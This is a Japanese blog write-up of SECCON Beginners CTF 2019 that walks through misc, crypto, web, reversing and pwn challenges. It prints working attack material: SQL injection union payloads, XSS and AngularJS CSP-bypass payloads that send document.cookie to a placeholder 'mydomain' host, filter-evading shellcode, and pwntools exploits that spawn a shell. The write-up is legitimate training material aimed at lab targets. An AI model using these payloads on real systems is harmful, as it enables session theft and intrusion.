Help us understand the problem. What is going on with this article?

SECCON Beginners CTF 2019 Writeup

More than 1 year has passed since last update.

SECCON Beginners CTF 2019 が 2019/05/25~2019/05/26 の24時間で開催されました。
今回も 1gy として個人参加して、全体5位の個人3位という結果でした。

SECCON Beginners は、各開催で懇親会を実施しています。そこでは SECCON を始めとする国内開催の CTF や国外開催のものに参加して「少しハードルが高いかも」と感じている、という声がしばしば聞こえてきました。
そこで今回は「初めて CTF に参加される方」や、「他 CTF に参加経験はあれどハードルの高さを感じている方」を主な対象とした CTF を開催する運びとなりました。

というコンセプトのCTFなのに、全く初心者向けとは思えない問題が多くて驚きました。
想定している初心者像にズレがあるんじゃないかなと思います。
個人的には 令和CTF (Writeup) くらいの難易度でくると思ってました。

001.png
002.png
003.png

Misc

[warmup] Welcome (51pt)

SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf

言われたとおりにIRCチャンネルに会いに行くとフラグが書かれている

misc001.PNG

ctf4b{welcome_to_seccon_beginners_ctf}

containers (71pt)

Let's extract files from the container.
https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

与えられたファイルをバイナリエディタで開くと、PNG画像がいくつかくっついているものだと分かる。
こういうときは foremost コマンドを使うと楽に分割できる。

misc002.PNG

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump (138pt)

Analyze dump and extract the flag!!
https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump

謎のファイルが渡されるので file コマンドで確認してみる。

misc003.PNG

tcpdump のキャプチャーファイルだと分かるので、wireshark で開く。
http でフィルタリングしてみると、webshell.php といういかにもなページと通信してますね。
OSコマンドが実行できるものみたい。

misc004.png

重要なのは

GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1

<html>
<head>
<title>Web Shell</title>
</head>
<pre>
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
:

という通信。
cmdをURLデコードしてみると
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
になり、フラグファイルをhexdumpで出力したものだとわかる。
8進数で出力しているので、8進数で読み込んでファイルに戻すプログラムを書く。

with open('./data.txt') as f1:
    x = [int(a, 8) for a in f1.read().split()]
    with open('out.gz', 'wb') as f2:
        f2.write(bytes(x))

出てきたファイルはgzip形式で圧縮されているので、展開すると画像が出てくる。

ctf4b{hexdump_is_very_useful}

Sliding puzzle (206pt)

nc 133.242.50.201 24912

スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。

----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------
0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。

----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------
操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2

時間制限があるので手作業で解くのは無理。
100問解くとフラグが出てくる。

from telnetlib import Telnet
from collections import deque

DIR = [(0, -1), (1, 0), (0, 1), (-1, 0)]

def get_next(numbers):
    for d in [0, 1, 2, 3]:
        zero = numbers.index(0)
        tx = zero % 3 + DIR[d][0]
        ty = zero // 3 + DIR[d][1]
        if 0 <= tx < 3 and 0 <= ty < 3:
            index = ty * 3 + tx
            result = list(numbers)
            result[zero], result[index] = numbers[index], 0
            yield d, tuple(result)

def solve(puzzle):
    queue = deque([(tuple(n for line in puzzle for n in line), [])])
    seen = set()
    while queue:
        numbers, route = queue.popleft()
        seen.add(numbers)
        if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8):
            return route
        for direction, next_pattern in get_next(numbers):
            if next_pattern not in seen:
                queue.append((next_pattern, route + [direction]))

def parse(data):
    return [
        list(map(int, data[1].decode().split('|')[1:-1])),
        list(map(int, data[2].decode().split('|')[1:-1])),
        list(map(int, data[3].decode().split('|')[1:-1]))
    ]

def main():
    flag = b''
    with Telnet('133.242.50.201', 24912) as tn:
        stage = 0
        while stage < 100:
            board = parse([tn.read_until(b'\n') for _ in range(6)])
            print(stage, board)
            ans = ','.join(map(str, solve(board)))
            print('answer: ', ans)
            tn.write('{}\n'.format(ans).encode())
            stage += 1
        tn.interact()

main()
:
98 [[3, 2, 0], [6, 1, 5], [7, 4, 8]]
answer:  3,2,2,3,0,0
99 [[1, 5, 0], [3, 2, 4], [6, 7, 8]]
answer:  3,2,1,0,3,3
[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Crypto

[warmup] So Tired (115pt)

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz

明らかに base64 でエンコードされたテキストが渡されるので、デコードしてみるとバイナリファイルが出てくる。
バイナリのヘッダの 78 9C でググったら zlib 形式だと分かった。
base64 じゃない別のエンコード方式なのかと思って少し時間を無駄にしてしまった…。
gzip で展開するとまた base64 が出てくるので、ずっと同じパターンだと決めつけて自動化してみる。

import base64
import zlib

with open('./encrypted.txt', 'rb') as f:
    encrypted = f.read()

while True:
    encrypted = zlib.decompress(base64.b64decode(encrypted))
    if b'ctf4b' in encrypted:
        print(encrypted)
        break

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Party (223pt)

Let's 暗号パーティ
File: party.tar.gz

from flag import FLAG
from Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime

def f(x, coeff):
    y = 0
    for i in range(len(coeff)):
        y += coeff[i] * pow(x, i)
    return y

N = 512
M = 3
secret = bytes_to_long(FLAG)
assert(secret < 2**N)

coeff = [secret] + [getRandomInteger(N) for i in range(M-1)]
party = [getRandomInteger(N) for i in range(M)]

val = map(lambda x: f(x, coeff), party)
output = list(zip(party, val))
print(output)

output がファイルとして与えられる。
脳がバグって解くのに凄く時間がかかった。
coeff[0] がフラグで party が既知。

output = [
    (party[0], (coeff[0] * 1 + coeff[1] * party[0] + coeff[1] * party[0] * party[0])),
    (party[1], (coeff[0] * 1 + coeff[1] * party[1] + coeff[1] * party[1] * party[1])),
    (party[2], (coeff[0] * 1 + coeff[1] * party[2] + coeff[1] * party[2] * party[2]))
]

これを満たすような連立方程式を解けばいい。sympy を使った。

from sympy import *

output = [
    (
        5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787,
        222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933
    ),
    (
        3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473,
        81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075
    ),
    (
        6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379,
        340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125
    )
]

party0 = output[0][0]
party1 = output[1][0]
party2 = output[2][0]

coeff0, coeff1, coeff2 = symbols('coeff0 coeff1 coeff2')
ans = solve([
        coeff0 + coeff1*party0 + coeff2*party0*party0 + output[0][1],
        coeff0 + coeff1*party1 + coeff2*party1*party1 + output[1][1],
        coeff0 + coeff1*party2 + coeff2*party2*party2 + output[2][1],
    ], [coeff0, coeff1, coeff2])
x = abs(ans[coeff0])

print(bytes.fromhex(hex(x)[2:]))

ctf4b{just_d0ing_sh4mir}

Go RSA (363pt)

Nだけなくしちゃったんだよなあ……。
Server: nc 133.242.17.175 1337

サーバーに接続すると、RSAの cd が与えられる。Ne が分からないのでなんとかしてねという問題(多分)
3回だけ自分が入力した値を暗号化するチャンスがある(多分)
N は毎回変わる(多分)
crypto001.png

正直全く分からなかったのでずっとググってた。
2-4回暗号化できればNを手に入れることができるらしいことが分かった (Tokyo-Westerns-2018-Mixed-Cipher)

e=65537 だと決めつけて書いたら出てきた。正攻法じゃない気がする。

import math

e = 65537 # guessing?

# Encrypted flag is:
# 221756255...
c = 221756255659858630072924942581044566710435166862490455840753376691251907275680267479095331175179955556069716873713103976385880172863992441911820635161738121670175126864997938617501490136343855874488894413463235913597011563042305379841661543819950096271547569013966755576258988795065058049621195096814467077323736238809351522627207754410548261015336642724132928064236908779601406800770103420025773826699727874952113249233979662348628081074016952237347967115259156289750649310505107793660478527352278996808541200467243754300788221375491449073861413937326495860856170549172963258094382950542126193535371673123463959630
# > 2
# 512392751...
c2 = 5123927511755441538503932124105956210418324292314221809775056868031583004771180083220923962095924181972698283972316573392071025982372238266453276650374196440772973475611429864581072135491455406994674796635965725986266541500027750716927592277391610921456698775861844485652763440716207109345471668627031203283914982368687055054196919280473469632953086707110649840980534928561042170383726366260007355449178040503669452292811490850637739217777703158546645567031013006772100156095213467362000973891598330338863635778825085145733076447535608057515535385073880578573086375978893912031370784191035741613093287174810388151533
# > 3
# 203236287...
c3 = 20323628745155422614836135100126363405613073509797503730084640307676578675409415078851792332577951552067766152331901022862556435576259790539139827669314125924657625801852271260132492316534968792173419179606204671215607395236553617367960897815429049291430272045592622518556344517953451497510163019449688632579172713489776223080094099941422875467106863344769687685079135905648529506602169600493968575107063558845614524734253165590385459599725314152654559757996030151235323200112347620606056088969637370000342707669253200510945047666149883453615625331741085802684756652951413959123586400402062287026787208207583959966923
# > 4
# 194106312...
c4 = 19410631296419746097204367562503499881858111798236572590019988695816353517168816885498721953730545367815768694930083568667001429132802603730208590441080882567544938011759591002423467240844962794622250893798948834610979892577043644622540982994790399698770435907565014046256230783007482172665966168078564186226551844850823590627046467258204403687813566559490408533833254308168763392544508785909212525307063087454569620210624980100280550699583026008513491194241215300446095711267295775138999652049361439108581619078238367198677174318099627507271699634115529981063471588020563077174932859661244292609465641597229230472713
# The D was
# 846959441...
d = 8469594415269220812220299571891248533955334703312643231001292394847046608859837402844582662282807774641548695631082885891177141923191507919668033969582831815461305808700351776616985892517502395339978147080326578217064442118311076765543374858851923234590163901831755972057808435029293503989539551106383681457509880373649541452841663382679255698052502596693019905692446944014846934527230685972551085306679393191892643735270566879808941479223715450366984691993625954410123833992331754584540284806128448669773133479065457724122284078880710920745855307942099101158710594365272636426246471862484765703138165426546961038273

n = 2**e - c2
n = math.gcd(n, 3**e - c3)
n = math.gcd(n, 4**e - c4)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))

ctf4b{f1nd_7he_p4ramet3rs}

この問題はもうちょっと説明があっても良かったんじゃないかなぁ…。

Bit Flip (393pt)

平文を1ビットランダムで反転させる能力を手に入れた!
File: bitflip.py
Server: nc 133.242.17.175 31337

from Crypto.Util.number import bytes_to_long
import random

N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
FLAG = bytes_to_long(open('flag', 'rb').read())

r = 1 << random.randrange(0, FLAG.bit_length() // 4)
C = pow(FLAG ^ r, e, N)

print(C)

問題文通り、ランダムでビットを反転させて暗号化している。
2bit違うだけの平文を暗号化した結果が手に入る。ということで調べたら Coppersmith’s Short Pad Attack & Franklin-Reiter Related Message Attack を使うと良さそうだと分かった。
参考:SageMathを使ってCoppersmith's Attackをやってみる - ももいろテクノロジー

1024bit中、先頭の967bitが一致すればいい。ちょうどいい値が降ってくるまで試してみる。

from telnetlib import Telnet
import time

def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    roots = h.small_roots(X=2^kbits, beta=0.5)
    diff = roots[0]
    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

def get_c():
    tn = Telnet('133.242.17.175', '31337')
    c1 = (int(tn.read_until('\n')))
    tn = Telnet('133.242.17.175', '31337')
    c2 = (int(tn.read_until('\n')))
    return (c1, c2)

if __name__ == '__main__':
    n = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
    e = 3

    i = 0
    while True:
        try:
            print(i)
            time.sleep(1)
            c1, c2 = get_c()

            diff = short_pad_attack(c1, c2, e, n)
            m = related_message_attack(c1, c2, diff, e, n)
            print m
            break
        except:
            i += 1
            continue
m = 16260765149986038884145173876068642724013617302097779293079362876653494069932815072038851668676222848467504538570853507159925860036819304291732134150397319327193122637750054910716746167965635612837962028769149915298230040116567157454495798898178036434538204980608594381468821524975316356795783256330
print(bytes.fromhex(hex(m)[2:]))

# b'ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMM\x19\n'

ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge}

フラグからして想定解っぽいけど、別の解き方もあるような気がする。

Web

[warmup] Ramen (73pt)

ラーメン https://ramen.quals.beginners.seccon.jp

店員の一言を検索できる箇所がある。試しにシングルクォーテーションを入れてみるとエラー画面が出てくる。SQLi。

' union select 'foo','bar' # と入れてみると文字が表示された。UNIONを使って必要な情報を表示すればいい。

web001.PNG

' union select table_name, column_name from information_schema.columns # でテーブル名とカラム名が出てくる。

web002.PNG

最終的には ' union select flag, 0 from flag # でフラグが表示される。

ctf4b{a_simple_sql_injection_with_union_select}

katsudon (101pt)

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

問題のミスで簡単に解ける状態になっていたみたい。

フラグのURLにアクセスしてみるとトークンが見れる。

web003.PNG

-- の前を base64 でデコードしたらフラグが出てきた。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Himitsu (379pt)

抱え込まないでくださいね。 https://himitsu.quals.beginners.seccon.jp
ソースコード: https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zip

記事を書いてURLを共有できるWebアプリ。ソースコードが配布されている。

schema.sql を見るとフラグは admin ユーザーの記事であることが分かる。

記事を作成しているプログラムは以下の通り

public function createArticle($username, $title, $abstract, $body) {
    $created_at = date("Y/m/d H:i");
    $article_key = md5($username . $created_at . $title);
    $sql = "INSERT INTO articles (article_key, created_at, username, title, abstract, body) VALUES (:article_key, :created_at, :username, :title, :abstract, :body)";
    $stmt = $this->db->prepare($sql);
    $stmt->bindParam("article_key", $article_key);
    $stmt->bindParam("created_at", $created_at);
    $stmt->bindParam("username", $username);
    $stmt->bindParam("title", $title);
    $stmt->bindParam("abstract", $abstract);
    $stmt->bindParam("body", $body);
    $stmt->execute();

    return $article_key;
}

$article_key = md5($username . $created_at . $title); とあるので、URLの推測は可能。
フラグページのURLの推測をする問題だと思いこんで md5('admin2020/00/00 00:00flag') とかしてたけど違った。Beginners向けならこのくらいの難易度でいいのに。

自分の記事を運営に共有する機能があるので、XSSでadminのセッションを盗む。

記事の本文に使えるものとして、記事のタイトルを埋め込む機能がある。

[#記事ID#]
ページのタイトルを埋め込むことができます。例: [#a42a78de275ae00e31d337bd6bd75150#]
[*任意の文字列*]
太字で表示できます。例: [*太字で表示したい文字列*]
[-任意の文字列-]
取り消し線を引くことができます。例: [-取り消したい文字列-]

埋め込まれたページタイトルにはエスケープ処理がないため、タイトルにスクリプトを書いて埋め込めば良さそうだが、埋め込みの際に弾かれる。
ソースコードを読むと、文字のサニタイズ、エスケープ処理、バリデーションをしている箇所がバラバラだったりする。

  1. 記事を作成する際にはタイトルに html タグを含めることができる
  2. 記事を表示する際にはタイトルはサニタイズされる
  3. 記事を作成する際、ページタイトルを埋め込む場合はタイトルのバリデーション処理が入る

3番目のバリデーション処理を回避できれば攻撃できる。
上で言及したようにURLの推測は可能であるため、未来の時間でURLを推測して埋め込む。この時にはまだ記事が無いため、弾かれることがない。
あとは未来の時間になったら実際にスクリプトをタイトルに入れた記事を作成すれば XSS ができる。

以下のように自分のサーバーへクッキーを送信するようなスクリプトを書き、運営に共有した。

md5('1gy2019/05/26 04:01<script>location.href=("https://mydomain/"+document.cookie);</script>')

あとは飛んできたセッションでログインしてフラグが書かれた記事を確認するだけ。

ctf4b{simple_xss_just_do_it_haha_haha}

個人的に今回一番面白いと思った問題でした。

Secure Meyasubako (433pt)

みなさまからのご意見をお待ちしています。 https://meyasubako.quals.beginners.seccon.jp
参考: https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.js

こっちもXSS問題。
全くエスケープされないのでスクリプトを埋め込み放題だが、CSPによって実行が弾かれる。

web004.PNG

自分自身と各CDNサイトでホストされているスクリプト以外は実行できない。
逆に言うと各CDNサイトでホストされているスクリプトは実行できてしまう。
調べてみると JSONP を使う方法や AngularJS を使う方法があるらしいことが分かった。
今回は AngularJS でスクリプトを実行した。
多分結構無駄なことやってる。

<div class=""ng-app ng-csp><base href=//cdnjs.cloudflare.com/ajax/libs/><script src=angular.js/1.0.1/angular.js></script><script src=prototype/1.7.2/prototype.js></script>{{$on.curry.call().console.log($on.curry.call().location=("https://mydomain/?"+$on.curry.call().document.cookie))}}</div>

ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}

katsudon-okawari (469pt)

クーポンの管理画面なんだよな...
https://katsudon-okawari.quals.beginners.seccon.jp/
https://katsudon-okawari.quals.beginners.seccon.jp/flag

解けなかった。
本当に何も分からない。

web005.PNG

katsudon に不具合があったみたいで本来はこの難易度らしい。
katsudon で言ってる形式とも違うし何が何だかわからない。
rails のソースコードを参考にこんな感じで書いてみたけどダメだった。
key は katsudon のフラグを入れてみたけど多分違う。

katsudon.rb
require 'openssl'
require 'base64'

encrypted_message = 'bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=='
encrypted_data, iv, auth_tag = encrypted_message.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }

cipher = OpenSSL::Cipher.new('aes-256-gcm')
cipher.decrypt
cipher.key = 'ctf4b{K33P_Y0UR_53CR37_K3Y_B453}'
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""

decrypted_data = cipher.update(encrypted_data)
p decrypted_data

Reversing

[warmup] Seccompare (57pt)

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

rev001.png

IDA で開いてみると明らかに怪しい処理がある。
asciiコードから文字列に戻す。

a = '63746634627b357472316e67735f31735f6e30745f656e307567687d'
print(bytes.fromhex(a))

ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage (186pt)

nc 153.120.129.186 10000
files

面倒そうな変換処理をしている箇所がある。
一文字ずつフラグを生成して入力と比較している。
のでデバッガで確認しながら進めたらフラグが出てくると思う。

今回はそれすら面倒なので angr で解いた。
到達したいアドレスと到達したくないアドレスを指定すると自動で探索してくれる凄いやつ。

import angr
import claripy

addr_succeeded = 0x4006B5
addr_failed = 0x4006C3

project = angr.Project("./leakage")
argv1 = claripy.BVS("argv1",0x25*8)
state = project.factory.entry_state(args=['./leakage', argv1])

simgr = project.factory.simulation_manager(state)
simgr.explore(find = addr_succeeded, avoid=addr_failed)

found = simgr.found[0]
solution = found.solver.eval(argv1, cast_to=bytes)
solution = solution[:solution.find(b"\x00")]
print(solution)

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation (293pt)

https://score.beginners.seccon.jp/files/linear_operation_a45530bbfc995ac99f30e026276674aa.tar.gz

ディスアセンブルしてみてみると条件分岐が大量にある。
こっちは手動で解析するのは無理だと思う。
leakage と同じように angr で解いた。

import angr

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

addr_succeeded = 0x40CF7F
addr_failed = 0x40CF8D

state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
simgr.explore(find = addr_succeeded, avoid=addr_failed)

found = simgr.found[0]
print(found.posix.dumps(0))

ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

SecconPass (425pt)

パスワード管理アプリケーションを解析してフラグを手に入れよう
追記: 問題の不具合により、フラグの一部が正常に得られないことが分かりました。 したがって今回は提出されたフラグの先頭 30 文字が正しければ、正解とします。 もしフラグを一度送信しているものの正答とならなかった場合には、改めて送信してください。 ご迷惑をおかけしてしまい申し訳ございません。
files

C++バイナリ。読みにくい。
パスワードを管理できるプログラム。
パスワードの暗号化なんかをする処理があったりする。

頭がバグってて pwn の問題だと思って数時間悩んでいた。
数時間悩んだ結果、デストラクタで謎のデータを読んでいる箇所があった。

このあたり

rev002.PNG

ctf4b という文字と謎のデータを読み込んでる。
ここからはエスパーした。

どうせフラグの最初の文字は "ctf4b{" だろう、ということで xor を取ってみたら [0x37,0x39,0x37,0x39,0x37,0x39] になった。
[0x37,0x39] の繰り返しで 続きも復号したら32文字出てきた。

data = b'\x54\x4D\x51\x0D\x55\x42\x7E\x54\x47\x55\x04\x54\x04\x57\x43\x0A\x53\x66\x75\x40\x68\x7A\x47\x08\x42\x0C\x47\x08\x42\x0C\x6D\x00'
print(''.join([chr(x^y) for x,y in zip(data, [0x37,0x39]*20)]))

このアナウンスが出る前に解いた人もいるし、もしかしたら別のちゃんとした解法があるのかも。
私にはこのエスパー解法しか思いつきませんでした。

ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9

問題の意図が分からなかった。

Pwnable

[warmup] shellcoder (291pt)

nc 153.120.129.186 20000
files

入力した文字列をそのまま機械語として実行してくれる。
ただし binsh という文字が入っていた場合は弾かれる。

以下のようなアセンブリを書いた。

.intel_syntax noprefix
.globl _start

_start:
  xor rcx, rcx
  push rcx
  mov rax, 0x34399797b734b117
  add rax, rax
  add rax, 1
  push rax
  mov rdi, rsp
  xor rdx, rdx
  push rdx
  push rdi
  mov rsi, rsp
  lea rax, [rcx+0x3b]
  syscall

よくある方法としてはスタックに 0x68732f2f6e69622f (="/bin//sh") を積むという方法があるが、
これではチェックに引っかかってしまう。
なので 0x34399797b734b117 + 0x34399797b734b117 + 1 として計算してから積むようにした。

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

これフラグからして add じゃなくて xor するのが正解ですね。そりゃそう。

OneLine (376pt)

nc 153.120.129.186 10000
files

バイナリを眺めてみると、バッファに write のアドレスを置いて表示してくれてる。
しかもバッファから取ってきた write のアドレスを実行してくれる。
libc のリークと 任意のアドレス実行ができる。
one-gadget に飛ばす。

from pwn import *

def get_process(is_remote):
    if is_remote:
        return remote('153.120.129.186', 10000)
    else:
        p = process('./oneline')
        return p

class Gadget:
    write = 0x110140
    one_gadget = 0x10a38c

def main(is_remote = False):
    process = get_process(is_remote)
    gadget = Gadget()

    # skip
    process.recvuntil(b'>> ')

    # leak
    process.send(b'\n')
    leaked_libc_write = u64(process.recvuntil(b'>> ')[0x20:0x28])
    print('leaked_libc_write: ', hex(leaked_libc_write))

    # attack
    payload = b'A'*0x20
    payload += p64(leaked_libc_write + (gadget.one_gadget - gadget.write))
    process.send(payload)

    # got shell
    process.interactive()

main(True)

ctf4b{0v3rwr!t3_Func7!on_p0int3r}

memo (386pt)

nc 133.242.68.223 35285
files

何故か最初はこの問題が warmup になっていたような気がする。

バイナリを読んで理解するのに時間がかかった。
入力されたサイズによって rsp が移動する。スタック領域にメモリが確保される。
サイズが 0x20 未満では失敗するのでリターンアドレスは書き換えられないと思ったが、
uint なので負数を入れると、比較は通り負数で rsp が移動する。
あとは hidden という関数が system("sh") を呼んでいるので飛ばせばいい。

一点詰まった点として、system関数内で使っている命令で16byte境界じゃないと動かないものがあった。
ret に飛ばすことで8byteズラして回避した。

from pwn import *
import time

def get_process(is_remote):
    if is_remote:
        return remote('133.242.68.223', 35285)
    else:
        p = process('./memo')
        return p

# 0x4007bd <hidden>:
# 0x4007bc ret

def main(is_remote = False):

    process = get_process(is_remote)

    process.recvuntil(b': ')
    process.send(b'-100\n')

    payload = b'A'*8
    payload += p64(0x4007bc) # ret
    payload += p64(0x4007bd) # hidden()
    payload += b'\n'
    process.send(payload)

    # got shell
    process.interactive()

main(True)

ctf4b{h4ckn3y3d_574ck_b0f}

BabyHeap (448pt)

nc 133.242.68.223 58396
files

解けなかった。
実は人生で一度も Heap 問題を解いたことがないので、純粋に何もわからなかった。
問題名にBabyとか入れられると解けなくて赤ちゃん以下なのがバレるのでやめてほしい。

感想

去年の問題に比べると難易度が高いように感じました。
(去年は参加しておらず過去問を見た程度なのですが…)
これで初心者が挫折してしまうことがないか心配です。
もうちょっとステップアップしていけるような難易度設定になると良いなと思いました。

1gy
TypeScript/JavaScript
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away